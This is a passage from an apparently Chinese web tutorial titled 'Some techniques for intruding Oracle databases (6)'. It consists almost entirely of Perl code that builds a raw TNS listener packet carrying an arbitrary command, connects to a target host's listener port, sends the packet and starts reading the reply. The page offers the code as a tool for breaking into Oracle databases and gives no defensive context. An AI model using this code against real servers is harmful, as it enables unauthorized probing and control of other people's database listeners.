入侵oracle数据库的一些技巧(6)
0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
$clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
);
for ($i=0;$i<length($command);$i++)
{
push(@packet, ord(substr($command, $i, 1)));
}
my ($sendbuf) = pack("C*", @packet);
print "connect ";
my ($tns_sock) = IO::Socket::INET->new(
PeerAddr => $main::hostname,
PeerPort => $main::port,
Proto => 'tcp',
Type => SOCK_STREAM,
Timeout => 30) || die "connect to $main::hostname failure: $!";
$tns_sock->autoflush(1);
print "\rwriting " . length($sendbuf) . " bytes\n";
if (defined($main::logfile))
{
open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!";
print SEND $sendbuf || die "write to logfile failed: $!";
close(SEND);
}
my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));
if ($count != length($sendbuf))
{
print "only wrote $count bytes?!";
exit 1;
}
print "reading\n";
内容版权声明:除非注明,否则皆为本站原创文章。